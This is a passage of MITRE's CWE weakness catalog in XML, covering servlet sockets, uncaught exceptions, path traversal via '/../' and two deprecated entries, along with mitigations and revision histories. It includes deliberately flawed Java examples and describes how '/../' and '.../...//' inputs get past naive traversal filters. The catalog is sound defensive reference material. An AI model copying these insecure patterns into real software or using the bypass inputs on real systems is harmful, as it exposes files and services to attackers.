                           <xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>sock = new Socket(remoteHostname, 3000);<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// Do something with the socket.</xhtml:i>
                                 <xhtml:br/>...</xhtml:div>
                           </xhtml:div>} catch (Exception e) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Bad Practices: Sockets</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">J2EE Bad Practices: Sockets</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="247" Name="DEPRECATED: Reliance on DNS Lookups in a Security Decision" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.</Description>
	 <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions for other CWE IDs to use.</xhtml:p>
	    </Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-06-23</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>CWE-247 and CWE-292 deprecated and merged into CWE-350 to address duplicates.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name, References</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Often Misused: Authentication</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-07-17">Reliance on DNS Lookups in a Security Decision</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="248" Name="Uncaught Exception" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>An exception is thrown from a function, but it is not caught.</Description>
         <Extended_Description>When an exception is not caught, it may cause the program to crash or expose sensitive information.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Read Application Data</Impact>
               <Note>An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-39">
               <Intro_Text>The following example attempts to resolve a hostname.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {<xhtml:div style="margin-left:1em;">String ip = req.getRemoteAddr();<xhtml:br/>InetAddress addr = InetAddress.getByName(ip);<xhtml:br/>...<xhtml:br/>out.println("hello " + addr.getHostName());</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A DNS lookup failure will cause the Servlet to throw an exception.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s().</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Often Misused: Exception Handling</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR05-J</Entry_ID>
               <Entry_Name>Do not let checked exceptions escape from a finally block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR06-J</Entry_ID>
               <Entry_Name>Do not throw undeclared checked exceptions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP31-PL</Entry_ID>
               <Entry_Name>Do not suppress or ignore exceptions</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-24</Modification_Date>
               <Modification_Comment>Removed C from Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Often Misused: Exception Handling</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="249" Name="DEPRECATED: Often Misused: Path Manipulation" Abstraction="Variant" Structure="Simple" Status="Deprecated">

	<Description>This entry has been deprecated because of name
	confusion and an accidental combination of multiple
	weaknesses. Most of its content has been transferred to
	CWE-785.</Description>

	<Extended_Description>
        <xhtml:p>This entry was deprecated for several reasons. The primary
        reason is over-loading of the "path manipulation" term and the
        description. The original description for this entry was the
        same as that for the "Often Misused: File System" item in the
        original Seven Pernicious Kingdoms paper. However, Seven
        Pernicious Kingdoms also has a "Path Manipulation" phrase that
        is for external control of pathnames (CWE-73), which is a
        factor in symbolic link following and path traversal, neither
        of which is explicitly mentioned in 7PK. Fortify uses the
        phrase "Often Misused: Path Manipulation" for a broader range
        of problems, generally for issues related to buffer
        management. Given the multiple conflicting uses of this term,
        there is a chance that CWE users may have incorrectly mapped
        to this entry.</xhtml:p>

	<xhtml:p>The second reason for deprecation is an implied combination of
	multiple weaknesses within buffer-handling functions. The
	focus of this entry was generally on the path-conversion
	functions and their association with buffer
	overflows. However, some of Fortify's Vulncat entries have the
	term "path manipulation" but describe a non-overflow weakness
	in which the buffer is not guaranteed to contain the entire
	pathname, i.e., there is information truncation (see CWE-222
	for a similar concept). A new entry for this non-overflow
	weakness may be created in a future version of CWE.</xhtml:p>
	</Extended_Description>
	 <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions for other CWE IDs to use.</xhtml:p>
	    </Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Described inconsistencies in this entry, which the CWE Content Team had already slated for deprecation.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Name, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-07-27">Often Misused: Path Manipulation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="25" Name="Path Traversal: '/../filedir'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>Sometimes a program checks for "../" at the beginning of the input, so a "/../" can bypass that check.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'/../filedir</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Leading Dot Dot Slash - '/../filedir'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="250" Name="Execution with Unnecessary Privileges" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.</Description>
         <Extended_Description>
